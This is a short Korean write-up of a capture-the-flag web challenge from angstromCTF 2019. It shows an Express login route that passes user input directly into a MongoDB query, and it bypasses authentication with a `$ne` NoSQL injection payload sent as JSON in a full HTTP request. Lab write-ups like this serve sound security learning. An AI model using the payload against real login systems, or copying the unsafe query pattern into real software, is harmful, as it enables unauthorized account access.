1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false }));
... router.post('/login', verifyJwt, function (req, res) { var db = req.db;
var user = req.body.username; var pass = req.body.password;
if (!user || !pass){ res.send("One or more fields were not provided."); } var query = { username: user, password: pass }
db.collection('users').findOne(query, function (err, user) { if (!user){ res.send("Wrong username or password"); return }
res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret)); res.redirect("/site"); }); });
|
Express 로 구성된 서버에 소스가 주어진다.
상단에 monk instance 라고 적혀있는데, mongodb 를 사용했다는 것을 말하고 싶었으리라.
1 2 3 4
| username[$ne]=&password[$ne]=
{ "username" : { "$ne" : "" }, "password" : { "$ne" : "" } }
|
흔한 mongodb 취약점인데 위처럼 배열을 삽입해주면 not equal 비교를 통해 인증이 우회된다.
1
| One or more fields were not provided.
|
시도해보니 배열은 입력으로 받지 않는 모양이었지만
1 2 3 4 5 6 7 8 9
| POST /login HTTP/1.1 Host: nosequels.2019.chall.actf.co Accept: */* User-Agent: Mozilla/5.0 (compatible; Rigor/1.0.0; http://rigor.com) Content-Type: application/json Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1OTk5MjU3fQ.cy_aJUBpx5BQCaJqHgbS3noRrHPZUtJT4lpnOrFMJR4 Content-Length: 60
{ "username" : { "$ne" : "" }, "password" : { "$ne" : "" } }
|
Content-Type을 수정하여 데이터를 json형태로 전송함으로써 인젝션에 성공하였다.